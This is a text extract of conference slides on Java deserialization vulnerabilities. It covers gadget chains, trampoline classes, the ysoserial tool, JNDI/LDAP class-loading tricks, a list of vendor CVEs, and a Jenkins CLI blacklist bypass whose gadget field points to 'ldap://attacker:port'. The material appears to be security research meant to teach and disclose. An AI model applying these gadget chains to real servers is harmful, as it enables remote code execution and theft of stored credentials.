Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)

  • View
    3.836

  • Download
    5

  • Category

    Software

Preview:

Citation preview

Java Deserialization Vulnerabilities – The Forgotten Bug Class

Matthias Kaiser

(@matthias_kaiser)

About me

Head of Vulnerability Research at Code White in Ulm, Germany

Dev for defense company in the past

Spent a lot of time on (server-side) Java Security

Found bugs in products of Oracle, VMware, IBM, SAP, Symantec, Apache, Adobe, HP, etc.

Recently looking more into the Windows world and client-side stuff

@matthias_kaiser

11.11.2016 2

Agenda

Introduction

Java’s Object Serialization

What’s the problem with it

A history of bugs

Finding and exploiting

Code White’s bug parade

A hands-on example

More to come?

11.11.2016 3

Should you care?

If your client is running server products of

you SHOULD!

11.11.2016 4

Some facts

The bug class exists for more than 10 years

Most ignored bug class in the server-side Java world until 2015

A easy way to get reliable RCE on a server

Architecture independent exploitation

With Java deserialization vulnerabilities you can pwn a corp easily!

11.11.2016 5

Where is it used

Several J2EE/JEE core technologies rely on serialization

Remote Method Invocation (RMI)

Java Management Extension (JMX)

Java Message Service (JMS)

Java Server Faces implementations (ViewState)

Communication between JVMs in general (because devs are lazy :-)

Custom application protocols running on top of http, etc.

11.11.2016 6

What is serialization?

Object

File

Network

Database

ObjectStream of bytes Stream of bytes

Serialization Deserialization

11.11.2016 7

Overview of Java’s Object Serialization Protocol

Magic

class name

field type

class field

Class description infoTC_OBJECTTC_CLASSDESC

classdata[]

11.11.2016 8

There is protocol spec and a grammar

https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

11.11.2016 9

Deserializing an object

What could possibly go wrong here?

11.11.2016 10

What’s the problem

ObjectInputStream doesn’t include validation features in its API

All serializable classes that the current classloader can locate and load can get deserialized

Although a class cast exception might occur in the end, the object will be created!

11.11.2016 11

What’s the problem #2

A developer can customize the (de)-serialization of a serializable class

Implement methods writeObject(), writeReplace(), readObject() and readResolve()

ObjectInputStream invokes readObject() and readResolve()

Under our control!

11.11.2016 12

What’s the problem #3

Further methods can be triggered by using certain classes as a "trampoline"

Object.toString() using e.g. javax.management.BadAttributeValueExpException

Object.hashCode() using e.g. java.util.HashMap

Comparator.compare() using e.g. java.util.PriorityQueue

etc.

Trampoline class

Targetclass

11.11.2016 13

What’s the problem #3

javax.management.BadAttributeValueExpException

1. Reading the field "val"

2. Calling "toString()" on "val"

11.11.2016 14

History of Java deserialization vulnerabilities

JRE vulnerabilities (DoS) Mark Schönefeld

2006

JSF ViewstateXSS/DoSSun Java Web Console Luca Carretoni

2008

CVE-2011-2894 Spring Framework RCE Wouter Coekaerts

CVE-2012-4858 IBM Cognos Business Intelligence RCEPierre Ernst

2011 2012

11.11.2016 15

History of Java deserialization vulnerabilities

CVE-2013-1768 Apache OpenJPA RCECVE-2013-1777 Apache Geronimo 3 RCECVE-2013-2186 Apache commons-fileupload RCEPierre Ernst

CVE-2015-3253 Groovy RCE CVE-2015-7501 Commons-Collection RCE Gabriel Lawrence and Chris Frohoff

CVE-2013-2165 JBoss RichFaces RCETakeshi Terada

2013 2015

11.11.2016 16

#JavaDeser is new hotness …

11.11.2016 17

Finding is trivial

Do the "grep" thing on "readObject()"

11.11.2016 18

Finding is trivial

Use an IDE like Intellij or Eclipse and trace the call paths to ObjectInputStream.readObject()

11.11.2016 19

Exploitation

Exploitation requires a chain of serialized objects triggering interesting functionality e.g.

writing files

dynamic method calls using Java’s Reflection API

etc.

For such a chain the term "gadget" got established

Chris Frohoff and others found several gadgets in standard libs

11.11.2016 20

Javassist/Weld Gadget

Gadget utilizes JBoss’ Javassist and Weld framework

Reported to Oracle with the Weblogic T3 vulnerability

Works in Oracle Weblogic and JBoss EAP

Allows us to call a method on a deserialized object

11.11.2016 21

"Return of the Rhino"-Gadget

Gadget utilizes Rhino Script Engine of Mozilla

Works with latest Rhino in the classpath

Oracle applied some hardening to its Rhino version

So only works Oracle JRE <= jre7u13

Works with latest openjdk7-JRE (e.g. on Debian, Ubuntu)

Allows us to call a method on a deserialized object

JRE Gadget

11.11.2016 22

What to look for?

Look for methods in serializable classes

working on files

triggering reflection (invoking methods, getting/setting properties on beans)

doing native calls

etc.

AND being called from

readObject()

readResolve()

toString()

hashCode()

finalize()

any other method being called from a "Trampoline" class

11.11.2016 23

What to look for?

Look at serializable classes used in Java reflection proxies

java.lang.reflect.InvocationHandler implementations

javassist.util.proxy.MethodHandler implementations

InvocationHandlerInterface

Proxy

toString() invoke (…) // do smth

invoke (target, toString, args)

11.11.2016 24

What to look for?

Prints out method being called

11.11.2016 25

What to look for?

What if InvocationHandler.invoke() does "insecure stuff" using values from the serialized object input stream?

Proxy

11.11.2016 26

Making gadget search easier

Chris Frohoff released a tool for finding gadgets using a graph database

Using object graph queries for gadget search

11.11.2016 27

Exploitation tricks

Adam Gowdiak’s TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is serializable

Allows to define new classes from your byte[ ][ ]

Calling TemplatesImpl.newTransformer() on deserialized object Code Execution

11.11.2016 28

Exploitation tricks

InitialContext.lookup()

@benmmurphy used it for a sandbox escape (CVE-2013-5830)

@zerothoughts published a gadget in Spring’s JtaTransactionManager recently

Triggers InitialContext.lookup(jndiName)

Uses "rmi://yourFakeRmiServer/Object" as jndiName

Loads classes from your fake RMI server

Calling JdbcRowSetImpl.execute() on a deserialized object will do the same

11.11.2016 29

Payload generation

Chris Frohoff released the great tool "ysoserial"

Makes creation of payloads easy

Includes gadgets for

Commons Collection 3 & 4

Spring

Groovy

JRE7 (<= jre7u21)

Commons BeanUtils

and even more!

11.11.2016 30

Custom payloads

I wouldn’t go for Runtime.getRuntime().exec(cmd) for several reasons

Most of the gadgets don’t touch the disk

With scripting languages your life gets even easier

Use what’s in the classpath

Javascript (Rhino, Nashorn)

Groovy

Beanshell

etc.

11.11.2016 31

Code White’s Bug Parade #1

CVE-2015-6554 - Symantec Endpoint Protection Manager RCE

CVE-2015-6576 - Atlassian Bamboo RCE

CVE-2015-7253 - Commvault Edge Server RCE

CVE-2015-7253 - Apache ActiveMQ RCE

CVE-2015-4582 - Oracle Weblogic RCE

CVE-2016-1998 - HP Service Manager RCE

CVE-2016-2173 - Spring AMQP RCE

CVE-2016-3493 - Oracle Hyperion RCE

CVE-2016-3551 - Oracle Weblogic RCE

CVE-2016-3551 - Oracle Weblogic RCE

11.11.2016 32

Code White’s Bug Parade #2

NOT-FIXED - IBM WebSphere MQ JMS client RCE

NOT-FIXED - IBM WebSphere JMS Client RCE

NOT-FIXED - Pivotal RabbitMQ JMS client RCE

NOT-FIXED - Oracle OpenMQ JMS client RCE

CVE-2016-4978 - Apache ActiveMQ Artemis JMS client RCE

CVE-2016-4974 - Apache Qpid client/JMS client RCE

CVE-2016-0638 - Oracle Weblogic JMS client RCE

FIXED-NO-CVE - IIT Software SwiftMQ JMS client RCE

MAYBE-FIX - Amazon SQS Java Messaging RCE

WONT-FIX - JBOSS HornetQ JMS client RCE

11.11.2016 33

A hands-on example

11.11.2016 34

Jenkins

11.11.2016 35

Jenkins

11.11.2016 36

Jenkins

Open Source Automation Server / Continous Integration Server / "Build"-Server

Created by Kohsuke Kawaguchi (Ex-Oracle, now CTO of CloudBees)

Fork of Oracle’s Hudson CI server

Supports Subversion, Git, Mecurial, etc.

Runs Maven, Ant, etc.

More than 1200 plugins! (see https://updates.jenkins-ci.org/download/plugins/)

11.11.2016 37

Jenkins

Nice target because Jenkins

has access to Source Code repositories

creates deployment artefacts (Jar, War, Ear, etc.)

can deploy artefacts on target servers

stores credentials (user/password, SSH keys)

11.11.2016 38

Jenkins Internals

Jenkins uses an extra port for the Command Line Interface (CLI)

Can be configured to a fixed or random port

11.11.2016 39

Jenkins Internals

Jenkins uses an own RMI protocol for it’s Command Line Interface (CLI)

Base64-encoded serialized objects (rO0 0xac,0xed)

11.11.2016 40

Jenkins under Attack

Jenkins CLI endpoint suffered from several vulnerabilities

CVE-2015-8103 of Steven Breen using Commons Collections gadget

Jenkins introduced a blacklist to filter gadget classes

CVE-2016-0788 of Moritz Bechler bypassing the blacklist (see ERNW blog post https://insinuator.net/2016/07/jenkins-remoting-rce-ii-the-return-of-the-ysoserial/)

As we all know blacklisting is hard because you never know …

11.11.2016 41

Jenkins’ Blacklist

11.11.2016 42

Finding a blacklist filter bypass

How to bypass a gadget blacklist filter?

a) Find a new gadget

b) Find a bypass gadget (see Alvaro’s and Christian’s Research)

c) Look for partially fixed gadget

After looking at all gadgets of ysoserial and matching them with Jenkin’s third-party libs and the blacklist I found one interesting gadget discovered by Moritz Bechler:

11.11.2016 43

The JSON1 gadget

"Code execution step"

filtered by blacklist

"Trigger step"

invokes all "getter" methods on a serialized object

Not filtered by blacklist

"Init step"

11.11.2016 44

Finding a blacklist filter bypass #1

Initial idea was to use the JDBCRowSetImpl trick as code execution step

"Getter"-methods trigger JNDI call:

But net.sf.json.JSONObject.containsValue(JDBCRowSetImpl-instance) fails because several "Getter"-methods trigger Exceptions

11.11.2016 45

Finding a blacklist filter bypass #2

Next idea was to look for other serializable classes with "Getter"-Methods leading to code execution

Recent research FTW:

11.11.2016 46

Finding a blacklist filter bypass #2

JNDI lookups can lead to RCE (see JDBCRowSetImpl)

Exploitation using RMI, LDAP and CORBA

LDAP queries can lead to RCE

LDAP server needs to be under your control

data from LDAPresponse is deserialized using ObjectInputStream

data (URLs) from LDAP response is used to load classes using URLClassLoader -> RCE

I found some nice classes in package „com.sun.jndi.ldap"

One of it is the serializable class "com.sun.jndi.ldap.LdapAttribute"

11.11.2016 47

com.sun.jndi.ldap.LdapAttribute

baseCtxURL=ldap://attacker:port

rdn="dc=whatever"

11.11.2016 48

Putting all together for the new JSON2 gadget

11.11.2016 49

With LdapAttribute.getAttributeDefinition() we get Code Execution using a custom LDAP server

The "Init-Step" shown before doesn’t work, so we need something else

By using Eclipse an alternative code path can be easily found

Some "updates" with regards to exploitation …

Previous research only mentioned the CLI port!

If you have Jenkins running on the internet with firewall / reverse proxy, you can’t connect

But the Jenkins Wiki has some hidden gems for us:

Connection mechanism1. Jenkins CLI clients and Jenkins server establishes the communication in the following fashion.Jenkins listens on a TCP/IP port configured under "TCP port for JNLP agents" in the system configuration page. This single port is used for both agents and CLI.…5. If that fails (for example, if there's a reverse proxy and Jenkins runs on a different host, or if a firewall blocks access to this TCP/IP port), or if the header is not found, it will fall back to the communication mechanism that uses two simultaenous HTTP connections.

11.11.2016 50

Jenkins CLI HTTP "fallback"

11.11.2016 51

HTTP Connection #1 Server Client channel Client reads from InputStream

UUID as identifier

Blocks until #2 connects

HTTP Connection #2

Client Server channel

Client writes to OutputStream

UUID as identifier

Jenkins - 2.19.2 LTS

DEMO

11.11.2016 52

Jenkins - 2.19.2 LTS

11.11.2016 53

Jenkins - 2.19.2 LTS

11.11.2016 54

Conclusion

Java Deserialization is no rocket science

Finding bugs is trivial, exploitation takes more

So many products affected by it

Research has started, again …

This will never end!

11.11.2016 55

Q&A

11.11.2016 56

Java Deserialization Vulnerabilities – The forgotten bug class

Matthias Kaiser

Recommended